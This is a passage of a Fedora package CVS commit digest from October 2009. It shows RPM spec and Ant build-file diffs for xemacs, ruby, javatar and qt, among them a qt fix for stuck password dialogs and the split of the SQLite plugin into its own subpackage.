From jjames at fedoraproject.org  Thu Oct 29 17:00:41 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 29 Oct 2009 17:00:41 +0000 (UTC)
Subject: rpms/xemacs/devel xemacs.spec,1.54,1.55
Message-ID: <20091029170041.39BBF11C02A3@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/xemacs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16582/devel

Modified Files:
	xemacs.spec 
Log Message:
The -el subpackage ought to be noarch, but the auto-autoloads.el file contains
the build host name and a timestamp.  Real fix coming later...



Index: xemacs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xemacs/devel/xemacs.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- xemacs.spec	29 Oct 2009 16:34:31 -0000	1.54
+++ xemacs.spec	29 Oct 2009 17:00:40 -0000	1.55
@@ -159,9 +159,6 @@ This package contains XEmacs built witho
 Summary:        Emacs lisp source files for XEmacs
 Group:          Development/Libraries
 Requires:       %{name}-common = %{version}-%{release}
-%if 0%{?fedora} >= 10
-BuildArch:      noarch
-%endif
 
 %description    el
 XEmacs is a highly customizable open source text editor and



From mtasaka at fedoraproject.org  Thu Oct 29 17:06:17 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Thu, 29 Oct 2009 17:06:17 +0000 (UTC)
Subject: rpms/ruby/F-11 ruby.spec,1.141,1.142
Message-ID: <20091029170617.D6C5611C02A3@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18947

Modified Files:
	ruby.spec 
Log Message:
* Thu Oct 29 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-4
- Use bison to regenerate parse.c to keep the original format of error
  messages (bug 530275 comment 4)



Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-11/ruby.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- ruby.spec	25 Oct 2009 15:16:49 -0000	1.141
+++ ruby.spec	29 Oct 2009 17:06:17 -0000	1.142
@@ -16,11 +16,13 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	3%{?dist}
+Release:	4%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	readline readline-devel ncurses ncurses-devel gdbm gdbm-devel glibc-devel tcl-devel tk-devel libX11-devel autoconf gcc unzip openssl-devel db4-devel byacc
+# Use bison to recreate parse.c (ref: bug 530275 comment 4)
+BuildRequires:	bison
 BuildRequires:	emacs
 
 Source0:	ftp://ftp.ruby-lang.org/pub/%{name}/%{rubyxver}/%{name}-%{arcver}.tar.bz2
@@ -540,6 +542,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Thu Oct 29 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-4
+- Use bison to regenerate parse.c to keep the original format of error
+  messages (bug 530275 comment 4)
+
 * Sun Oct 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-3
 - Patch so that irb saves its history (bug 518584, ruby issue 1556)
 



From orion at fedoraproject.org  Thu Oct 29 17:08:34 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 29 Oct 2009 17:08:34 +0000 (UTC)
Subject: rpms/javatar/devel import.log, NONE, 1.1 javatar-2.5-build.patch,
	NONE, 
	1.1 javatar.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091029170834.8A72311C02A3@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/javatar/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19793/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log javatar-2.5-build.patch javatar.spec 
Log Message:
Initial import


--- NEW FILE import.log ---
javatar-2_5-2_fc12:HEAD:javatar-2.5-2.fc12.src.rpm:1256836069

javatar-2.5-build.patch:
 build.xml |  342 ++++++++++++++++++++++++++++++--------------------------------
 1 file changed, 170 insertions(+), 172 deletions(-)

--- NEW FILE javatar-2.5-build.patch ---
--- javatar-2.5/source/com/ice/tar/build.xml.build	2003-06-30 01:48:36.000000000 -0600
+++ javatar-2.5/source/com/ice/tar/build.xml	2009-10-14 15:10:04.448876991 -0600
@@ -1,172 +1,170 @@
-
-<!-- Targets: all, zip, deploy, compile, clean, init -->
-
-<project name="ndui" default="all" basedir="../../../..">
-
-	<target name="all" depends="zip">
-	</target>
-
-	<target name="clean" depends="init">
-		<delete dir="${build}" />
-	</target>
-
-	<target name="zip" depends="deploy">
-		<zip zipfile="${basedir}/javatar-${relnum}.zip">
-			<zipfileset
-				dir="${build}"
-				prefix="javatar-${relnum}/"
-				/>
-		</zip>
-
-	<tar tarfile="${basedir}/javatar-${relnum}.tar" >
-		<tarfileset
-			dir="${build}"
-			prefix="javatar-${relnum}/"
-			/>
-	</tar>
-
-	<gzip
-		src="${basedir}/javatar-${relnum}.tar"
-		zipfile="${basedir}/javatar-${relnum}.tar.gz"
-		/>
-
-  	</target>
-
-	<target name="deploy" depends="compile,source,doc">
-		<jar
-			jarfile="${jardir}/tar.jar"
-			manifest="${tardir}/META-INF/MANIFEST.MF"
-			>
-			<fileset dir="${classdir}" />
-  		</jar>
-
-		<copy file="${activationjar}" todir="${jardir}" />
-	</target>
-
-	<target name="compile" depends="init">
-		<javac
-			srcdir="${srcdir}"
-			destdir="${classdir}"
-			verbose="${my.verbose}"
-			deprecation="${my.deprec}"
-			>
-
-			<include name="com/ice/tar/"/>
-
-			<classpath>
-				<pathelement location="${activationjar}" />
-			</classpath>
-
-		</javac>
-	</target>
-
-	<target name="source" depends="init">
-		<copy todir="${sourcedir}">
-			<fileset
-				dir="${srcdir}"
-				includes="com/ice/tar/"
-				excludes="**/CVS/"
-				/>
-		</copy>
-	</target>
-
-	<target name="doc" depends="javadoc,docs">
-	</target>
-
-	<target name="docs" depends="init">
-		<copy todir="${docdir}">
-			<fileset
-				dir="${tardir}/doc/"
-				excludes="**/CVS/"
-				/>
-		</copy>
-	</target>
-
-	<target name="javadoc" depends="init" unless="javadoc.notreq">
-  		<javadoc
-			packagenames="com.ice.tar"
-			destdir="${apidocdir}"
-			author="true"
-			version="true"
-			use="true"
-			windowtitle="Java Tar by Tim Endres"
-			bottom="${copyright}"
-			>
-
-			<group title="Java Tar" packages="com.ice.tar"/>
-
-			<link href="http://java.sun.com/products/jdk/1.3/docs/api/"/>
-
-			<sourcepath>
-				<pathelement location="${srcdir}"/>
-			</sourcepath>
-
-			<classpath>
-				<pathelement location="${activationjar}" />
-			</classpath>
-
-		</javadoc>
-	</target>
-
-	<target name="init" depends="init-props,echo-props">
-
-		<tstamp/>
-
-		<mkdir dir="${build}" />
-		<mkdir dir="${docdir}" />
-		<mkdir dir="${apidocdir}" />
-		<mkdir dir="${jardir}" />
-		<mkdir dir="${classdir}" />
-		<mkdir dir="${sourcedir}" />
-
-		<uptodate property="javadoc.notreq" targetfile="${apidocdir}/index.html" >
-			<srcfiles dir="${srcdir}" includes="**/*.java"/>
-		</uptodate>
-
-	</target>
-
-	<target name="echo-props">
-		<echo message="basedir=${basedir}" />
-		<echo message="build=${build}" />
-		<echo message="bindir=${bindir}" />
-		<echo message="jardir=${jardir}" />
-		<echo message="classdir=${classdir}" />
-		<echo message="sourcedir=${sourcedir}" />
-		<echo message="srcdir=${srcdir}" />
-	</target>
-
-	<target name="init-props">
-		<property name="my.verbose" value="off"/>
-
-		<!-- TAGS -->
-		<property name="reltag" value="release-2-5" />
-		<property name="relnum" value="2.5" />
-
-		<!-- DIRECTORIES -->
-		<property name="build" value="${basedir}/tar-${relnum}" />
-
-		<property name="classdir" value="${build}/classes" />
-		<property name="jardir" value="${build}/jars" />
-		<property name="docdir" value="${build}/doc" />
-		<property name="apidocdir" value="${docdir}/api" />
-		<property name="sourcedir" value="${build}/source" />
-
-		<property name="srcdir" value="${basedir}/java" />
-		<property name="tardir" value="${srcdir}/com/ice/tar" />
-
-		<!-- JARS -->
-		<property name="activationjar"
-			value="C:/java/jaf-1.0.1/activation.jar" />
-
-		<!-- GLOBALS -->
-		<property name="java.home" value="C:/java/jdk1.3"/>
-		<property name="java.lib" value="${java.home}/jre/lib"/>
-		<property name="build.compiler" value="modern"/>
-
-		<property name="copyright"
-			value="&lt;i&gt;This software has been placed into the public domain.&lt;/i&gt;"
-			/>
-	</target>
-
-</project>
-
+
+<!-- Targets: all, zip, deploy, compile, clean, init -->
+
+<project name="ndui" default="all" basedir="../../../..">
+
+	<target name="all" depends="zip">
+	</target>
+
+	<target name="clean" depends="init">
+		<delete dir="${build}" />
+	</target>
+
+	<target name="zip" depends="deploy">
+		<zip zipfile="${basedir}/javatar-${relnum}.zip">
+			<zipfileset
+				dir="${build}"
+				prefix="javatar-${relnum}/"
+				/>
+		</zip>
+
+	<tar tarfile="${basedir}/javatar-${relnum}.tar" >
+		<tarfileset
+			dir="${build}"
+			prefix="javatar-${relnum}/"
+			/>
+	</tar>
+
+	<gzip
+		src="${basedir}/javatar-${relnum}.tar"
+		zipfile="${basedir}/javatar-${relnum}.tar.gz"
+		/>
+
+  	</target>
+
+	<target name="deploy" depends="compile,source,doc">
+		<jar
+			jarfile="${jardir}/tar.jar"
+			manifest="${tardir}/META-INF/MANIFEST.MF"
+			>
+			<fileset dir="${classdir}" />
+  		</jar>
+	</target>
+
+	<target name="compile" depends="init">
+		<javac
+			srcdir="${srcdir}"
+			destdir="${classdir}"
+			verbose="${my.verbose}"
+			deprecation="${my.deprec}"
+			>
+
+			<include name="com/ice/tar/"/>
+
+			<classpath>
+				<pathelement location="${activationjar}" />
+			</classpath>
+
+		</javac>
+	</target>
+
+	<target name="source" depends="init">
+		<copy todir="${sourcedir}">
+			<fileset
+				dir="${srcdir}"
+				includes="com/ice/tar/"
+				excludes="**/CVS/"
+				/>
+		</copy>
+	</target>
+
+	<target name="doc" depends="javadoc,docs">
+	</target>
+
+	<target name="docs" depends="init">
+		<copy todir="${docdir}">
+			<fileset
+				dir="${tardir}/doc/"
+				excludes="**/CVS/"
+				/>
+		</copy>
+	</target>
+
+	<target name="javadoc" depends="init" unless="javadoc.notreq">
+  		<javadoc
+			packagenames="com.ice.tar"
+			destdir="${apidocdir}"
+			author="true"
+			version="true"
+			use="true"
+			windowtitle="Java Tar by Tim Endres"
+			bottom="${copyright}"
+			>
+
+			<group title="Java Tar" packages="com.ice.tar"/>
+
+			<link href="http://java.sun.com/products/jdk/1.3/docs/api/"/>
+
+			<sourcepath>
+				<pathelement location="${srcdir}"/>
+			</sourcepath>
+
+			<classpath>
+				<pathelement location="${activationjar}" />
+			</classpath>
+
+		</javadoc>
+	</target>
+
+	<target name="init" depends="init-props,echo-props">
+
+		<tstamp/>
+
+		<mkdir dir="${build}" />
+		<mkdir dir="${docdir}" />
+		<mkdir dir="${apidocdir}" />
+		<mkdir dir="${jardir}" />
+		<mkdir dir="${classdir}" />
+		<mkdir dir="${sourcedir}" />
+
+		<uptodate property="javadoc.notreq" targetfile="${apidocdir}/index.html" >
+			<srcfiles dir="${srcdir}" includes="**/*.java"/>
+		</uptodate>
+
+	</target>
+
+	<target name="echo-props">
+		<echo message="basedir=${basedir}" />
+		<echo message="build=${build}" />
+		<echo message="bindir=${bindir}" />
+		<echo message="jardir=${jardir}" />
+		<echo message="classdir=${classdir}" />
+		<echo message="sourcedir=${sourcedir}" />
+		<echo message="srcdir=${srcdir}" />
+	</target>
+
+	<target name="init-props">
+		<property name="my.verbose" value="off"/>
+
+		<!-- TAGS -->
+		<property name="reltag" value="release-2-5" />
+		<property name="relnum" value="2.5" />
+
+		<!-- DIRECTORIES -->
+		<property name="build" value="${basedir}/tar-${relnum}" />
+
+		<property name="classdir" value="${build}/classes" />
+		<property name="jardir" value="${build}/jars" />
+		<property name="docdir" value="${build}/doc" />
+		<property name="apidocdir" value="${docdir}/api" />
+		<property name="sourcedir" value="${build}/source" />
+
+		<property name="srcdir" value="${basedir}/source" />
+		<property name="tardir" value="${srcdir}/com/ice/tar" />
+
+		<!-- JARS -->
+		<property name="activationjar"
+			value="/usr/share/java/activation.jar" />
+
+		<!-- GLOBALS -->
+		<property name="java.home" value="C:/java/jdk1.3"/>
+		<property name="java.lib" value="${java.home}/jre/lib"/>
+		<property name="build.compiler" value="modern"/>
+
+		<property name="copyright"
+			value="&lt;i&gt;This software has been placed into the public domain.&lt;/i&gt;"
+			/>
+	</target>
+
+</project>
+


--- NEW FILE javatar.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           javatar
Version:        2.5
Release:        2%{?dist}
Summary:        Java tar archive io package

Group:          Development/Libraries
License:        Public Domain
URL:            http://www.trustice.com/java/tar/
Source0:        http://www.gjt.org/download/time/java/tar/javatar-%{version}.tar.gz
# Fix srcdir and point to system activation.jar
Patch0:         %{name}-2.5-build.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant
BuildRequires:  classpathx-jaf

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

Requires:       jpackage-utils
Requires:       java
Requires:       classpathx-jaf

%description
The package com.ice.tar implements a tar archive io package. This package
allows you to create, and extract tar archives. Since the package uses
InputStream and OutputStream, it is possible to combine this package with the
java.util.zip package to handle .tar.gz files.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Development Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q
%patch0 -p1 -b .build
find \( -name '*.jar' -o -name '*.class' \) -exec rm -f '{}' +
# Fix line endings
find \( -name '*.java' -o -name '*.txt' -o -name '*.xml' -o -name LICENSE \) -exec sed -i 's/\r//' '{}' +
#Remove manifest classpath and name
sed -i -e '/^Class-Path:/d' -e '/^Name:/d' source/com/ice/tar/META-INF/MANIFEST.MF


%build
ant -buildfile source/com/ice/tar/build.xml deploy


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p tar-%{version}/jars/tar.jar \
  $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/tar.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/tar-%{version}.jar

mkdir -p $RPM_BUILD_ROOT%{_javadocdir}
cp -rp doc $RPM_BUILD_ROOT/%{_javadocdir}/%{name}

%if %{with_gcj}
rm -rf tar-%{version}/source
%{_bindir}/aot-compile-rpm
%endif


%clean
rm -rf $RPM_BUILD_ROOT


%post
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%files
%defattr(-,root,root,-)
%doc doc/LICENSE
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}.jar
%{_javadir}/tar-%{version}.jar
%{_javadir}/tar.jar
%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}


%changelog
* Mon Oct 26 2009 Orion Poplawski <orion at cora.nwra.com> - 2.5-2
- Remove existing class files
- Package javadocs
- Make sure debuginfo has source files

* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 2.5-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/javatar/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:06:42 -0000	1.1
+++ .cvsignore	29 Oct 2009 17:08:33 -0000	1.2
@@ -0,0 +1 @@
+javatar-2.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/javatar/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:06:42 -0000	1.1
+++ sources	29 Oct 2009 17:08:34 -0000	1.2
@@ -0,0 +1 @@
+7dae3b92b70c30cfb6fd9699a79f821c  javatar-2.5.tar.gz



From than at fedoraproject.org  Thu Oct 29 17:16:21 2009
From: than at fedoraproject.org (Than Ngo)
Date: Thu, 29 Oct 2009 17:16:21 +0000 (UTC)
Subject: rpms/qt/F-11 qt.spec,1.282,1.283
Message-ID: <20091029171621.818E711C02A3@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21979

Modified Files:
	qt.spec 
Log Message:
fix glib-even-loop issue, regression which causes password dialogs get stuck



Index: qt.spec
===================================================================
RCS file: /cvs/extras/rpms/qt/F-11/qt.spec,v
retrieving revision 1.282
retrieving revision 1.283
diff -u -p -r1.282 -r1.283
--- qt.spec	10 Oct 2009 21:13:22 -0000	1.282
+++ qt.spec	29 Oct 2009 17:16:20 -0000	1.283
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.3
-Release: 4%{?dist}
+Release: 7%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -57,6 +57,7 @@ Patch53: qt-x11-opensource-src-4.5.0-fix
 # fix invalid assumptions about mysql_config --libs
 # http://bugzilla.redhat.com/440673
 Patch54: qt-x11-opensource-src-4.5.1-mysql_config.patch
+Patch55: qt-x11-opensource-src-4.5.3-glib-event-loop.patch
 
 # security patches
 
@@ -141,7 +142,9 @@ Source31: hi48-app-qt4-logo.png
 %define _qt4_sysconfdir %{_sysconfdir}
 %define _qt4_translationdir %{_datadir}/qt4/translations
 
+%if "%{_qt4_libdir}" != "%{_libdir}"
 Prereq: /etc/ld.so.conf.d
+%endif
 
 BuildRequires: dbus-devel >= 0.62
 BuildRequires: cups-devel
@@ -201,10 +204,6 @@ Obsoletes: qgtkstyle < 0.1
 Provides:  qgtkstyle = 0.1-1
 Obsoletes: qt4-config < 4.5.0
 Provides: qt4-config = %{version}-%{release}
-Obsoletes: qt4-sqlite < 4.5.0 
-Provides: qt4-sqlite = %{version}-%{release}
-Obsoletes: qt-sqlite < %{?epoch:%{epoch}:}4.5.0
-Provides: qt-sqlite = %{?epoch:%{epoch}:}%{version}-%{release}
 
 %description 
 Qt is a software toolkit for developing applications.
@@ -328,6 +327,17 @@ Provides:  qt4-postgresql = %{version}-%
 %description postgresql 
 %{summary}.
 
+%package sqlite
+Summary: SQLite driver for Qt's SQL classes
+Group: System Environment/Libraries
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
+Obsoletes: qt4-SQLite < %{version}-%{release}
+Provides:  qt4-SQLite = %{version}-%{release}
+Obsoletes: qt4-sqlite < %{version}-%{release}
+Provides:  qt4-sqlite = %{version}-%{release}
+
+%description sqlite
+%{summary}.
 
 %package x11
 Summary: Qt GUI-related libraries
@@ -345,6 +355,9 @@ Provides:  qt4-phonon = %{version}-%{rel
 Obsoletes: WebKit-qt < 1.0.0-1
 Provides:  WebKit-qt = 1.0.0-1
 %endif
+%if 0%{?sqlite:1}
+Requires: %{name}-sqlite = %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
 Provides: qt4-assistant = %{version}-%{release}
 Provides: %{name}-assistant = %{version}-%{release}
 Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
@@ -379,6 +392,7 @@ Qt libraries used for drawing widgets an
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
 %patch54 -p1 -b .mysql_config
+%patch55 -p1 -b .glib-event-loop
 
 # security fixes
 
@@ -679,7 +693,7 @@ mkdir %{buildroot}%{_qt4_plugindir}/styl
 
 %if 0%{?phonon_internal}
 mkdir -p %{buildroot}%{_qt4_plugindir}/phonon_backend
-# This should no longer be required, but... -- Rex
+# needed by qtscriptgenerator
 pushd %{buildroot}%{_qt4_headerdir}
 ln -s phonon Phonon
 popd
@@ -808,7 +822,6 @@ fi
 %{_qt4_libdir}/libQtXmlPatterns.so.*
 %dir %{_qt4_plugindir}
 %dir %{_qt4_plugindir}/sqldrivers/
-%{_qt4_plugindir}/sqldrivers/libqsqlite*
 %{_qt4_translationdir}/
 
 %if 0%{?demos}
@@ -932,6 +945,12 @@ fi
 %{_qt4_plugindir}/sqldrivers/libqsqlpsql*
 %endif
 
+%if "%{?sqlite}" == "-plugin-sql-sqlite"
+%files sqlite
+%defattr(-,root,root,-)
+%{_qt4_plugindir}/sqldrivers/libqsqlite*
+%endif
+
 %files x11 
 %defattr(-,root,root,-)
 %{_sysconfdir}/rpm/macros.*
@@ -970,6 +989,17 @@ fi
 
 
 %changelog
+* Thu Oct 29 2009 Than Ngo <than at redhat.com> - 4.5.3-7
+- fix glib-even-loop issue, regression which causes
+  Password dialogs get stuck
+
+* Fri Oct 16 2009 Than Ngo <than at redhat.com> - 4.5.3-6
+- subpackage sqlite plugin, add Require on qt-sqlite in qt-x11
+  for assistant
+
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.3-5
+- drop needless Prereq: /etc/ld.so.conf.d
+
 * Sat Oct 10 2009 Than Ngo <than at redhat.com> - 4.5.3-4
 - fix translation build issue
 - rhel cleanup



From than at fedoraproject.org  Thu Oct 29 17:17:08 2009
From: than at fedoraproject.org (Than Ngo)
Date: Thu, 29 Oct 2009 17:17:08 +0000 (UTC)
Subject: rpms/qt/F-10 qt.spec,1.237,1.238
Message-ID: <20091029171708.4969611C02A3@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22324

Modified Files:
	qt.spec 
Log Message:
fix glib-even-loop issue, regression which causes password dialogs get stuck




Index: qt.spec
===================================================================
RCS file: /cvs/extras/rpms/qt/F-10/qt.spec,v
retrieving revision 1.237
retrieving revision 1.238
diff -u -p -r1.237 -r1.238
--- qt.spec	10 Oct 2009 22:30:27 -0000	1.237
+++ qt.spec	29 Oct 2009 17:17:07 -0000	1.238
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.3
-Release: 4%{?dist}
+Release: 7%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -57,6 +57,7 @@ Patch53: qt-x11-opensource-src-4.5.0-fix
 # fix invalid assumptions about mysql_config --libs
 # http://bugzilla.redhat.com/440673
 Patch54: qt-x11-opensource-src-4.5.1-mysql_config.patch
+Patch55: qt-x11-opensource-src-4.5.3-glib-event-loop.patch
 
 # security patches
 
@@ -141,7 +142,9 @@ Source31: hi48-app-qt4-logo.png
 %define _qt4_sysconfdir %{_sysconfdir}
 %define _qt4_translationdir %{_datadir}/qt4/translations
 
+%if "%{_qt4_libdir}" != "%{_libdir}"
 Prereq: /etc/ld.so.conf.d
+%endif
 
 BuildRequires: dbus-devel >= 0.62
 BuildRequires: cups-devel
@@ -201,10 +204,6 @@ Obsoletes: qgtkstyle < 0.1
 Provides:  qgtkstyle = 0.1-1
 Obsoletes: qt4-config < 4.5.0
 Provides: qt4-config = %{version}-%{release}
-Obsoletes: qt4-sqlite < 4.5.0 
-Provides: qt4-sqlite = %{version}-%{release}
-Obsoletes: qt-sqlite < %{?epoch:%{epoch}:}4.5.0
-Provides: qt-sqlite = %{?epoch:%{epoch}:}%{version}-%{release}
 
 %description 
 Qt is a software toolkit for developing applications.
@@ -328,6 +327,17 @@ Provides:  qt4-postgresql = %{version}-%
 %description postgresql 
 %{summary}.
 
+%package sqlite
+Summary: SQLite driver for Qt's SQL classes
+Group: System Environment/Libraries
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
+Obsoletes: qt4-SQLite < %{version}-%{release}
+Provides:  qt4-SQLite = %{version}-%{release}
+Obsoletes: qt4-sqlite < %{version}-%{release}
+Provides:  qt4-sqlite = %{version}-%{release}
+
+%description sqlite
+%{summary}.
 
 %package x11
 Summary: Qt GUI-related libraries
@@ -345,6 +355,9 @@ Provides:  qt4-phonon = %{version}-%{rel
 Obsoletes: WebKit-qt < 1.0.0-1
 Provides:  WebKit-qt = 1.0.0-1
 %endif
+%if 0%{?sqlite:1}
+Requires: %{name}-sqlite = %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
 Provides: qt4-assistant = %{version}-%{release}
 Provides: %{name}-assistant = %{version}-%{release}
 Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
@@ -379,6 +392,7 @@ Qt libraries used for drawing widgets an
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
 %patch54 -p1 -b .mysql_config
+%patch55 -p1 -b .glib-event-loop
 
 # security fixes
 
@@ -679,7 +693,7 @@ mkdir %{buildroot}%{_qt4_plugindir}/styl
 
 %if 0%{?phonon_internal}
 mkdir -p %{buildroot}%{_qt4_plugindir}/phonon_backend
-# This should no longer be required, but... -- Rex
+# needed by qtscriptgenerator
 pushd %{buildroot}%{_qt4_headerdir}
 ln -s phonon Phonon
 popd
@@ -808,7 +822,6 @@ fi
 %{_qt4_libdir}/libQtXmlPatterns.so.*
 %dir %{_qt4_plugindir}
 %dir %{_qt4_plugindir}/sqldrivers/
-%{_qt4_plugindir}/sqldrivers/libqsqlite*
 %{_qt4_translationdir}/
 
 %if 0%{?demos}
@@ -932,6 +945,12 @@ fi
 %{_qt4_plugindir}/sqldrivers/libqsqlpsql*
 %endif
 
+%if "%{?sqlite}" == "-plugin-sql-sqlite"
+%files sqlite
+%defattr(-,root,root,-)
+%{_qt4_plugindir}/sqldrivers/libqsqlite*
+%endif
+
 %files x11 
 %defattr(-,root,root,-)
 %{_sysconfdir}/rpm/macros.*
@@ -970,6 +989,17 @@ fi
 
 
 %changelog
+* Thu Oct 29 2009 Than Ngo <than at redhat.com> - 4.5.3-7
+- fix glib-even-loop issue, regression which causes
+  Password dialogs get stuck
+
+* Fri Oct 16 2009 Than Ngo <than at redhat.com> - 4.5.3-6
+- subpackage sqlite plugin, add Require on qt-sqlite in qt-x11
+  for assistant
+
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.3-5
+- drop needless Prereq: /etc/ld.so.conf.d
+
 * Sat Oct 10 2009 Than Ngo <than at redhat.com> - 4.5.3-4
 - fix translation build issue
 - rhel cleanup



From orion at fedoraproject.org  Thu Oct 29 17:20:36 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 29 Oct 2009 17:20:36 +0000 (UTC)
Subject: rpms/javatar/EL-5 javatar-2.5-build.patch, NONE, 1.1 javatar.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091029172036.D3B5711C02A3@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/javatar/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23329/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	javatar-2.5-build.patch javatar.spec 
Log Message:
Initial import

javatar-2.5-build.patch:
 build.xml |  342 ++++++++++++++++++++++++++++++--------------------------------
 1 file changed, 170 insertions(+), 172 deletions(-)

--- NEW FILE javatar-2.5-build.patch ---
--- javatar-2.5/source/com/ice/tar/build.xml.build	2003-06-30 01:48:36.000000000 -0600
+++ javatar-2.5/source/com/ice/tar/build.xml	2009-10-14 15:10:04.448876991 -0600
@@ -1,172 +1,170 @@
-
-<!-- Targets: all, zip, deploy, compile, clean, init -->
-
-<project name="ndui" default="all" basedir="../../../..">
-
-	<target name="all" depends="zip">
-	</target>
-
-	<target name="clean" depends="init">
-		<delete dir="${build}" />
-	</target>
-
-	<target name="zip" depends="deploy">
-		<zip zipfile="${basedir}/javatar-${relnum}.zip">
-			<zipfileset
-				dir="${build}"
-				prefix="javatar-${relnum}/"
-				/>
-		</zip>
-
-	<tar tarfile="${basedir}/javatar-${relnum}.tar" >
-		<tarfileset
-			dir="${build}"
-			prefix="javatar-${relnum}/"
-			/>
-	</tar>
-
-	<gzip
-		src="${basedir}/javatar-${relnum}.tar"
-		zipfile="${basedir}/javatar-${relnum}.tar.gz"
-		/>
-
-  	</target>
-
-	<target name="deploy" depends="compile,source,doc">
-		<jar
-			jarfile="${jardir}/tar.jar"
-			manifest="${tardir}/META-INF/MANIFEST.MF"
-			>
-			<fileset dir="${classdir}" />
-  		</jar>
-
-		<copy file="${activationjar}" todir="${jardir}" />
-	</target>
-
-	<target name="compile" depends="init">
-		<javac
-			srcdir="${srcdir}"
-			destdir="${classdir}"
-			verbose="${my.verbose}"
-			deprecation="${my.deprec}"
-			>
-
-			<include name="com/ice/tar/"/>
-
-			<classpath>
